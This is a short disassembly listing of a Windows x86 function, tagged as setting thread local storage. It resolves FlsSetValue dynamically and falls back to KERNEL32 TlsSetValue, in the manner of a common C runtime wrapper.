jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x42de5e
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x444910
push 0x444908
push str.FlsSetValue
push 0x22
call fcn.0042dc0c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42de98
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x43f1d0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]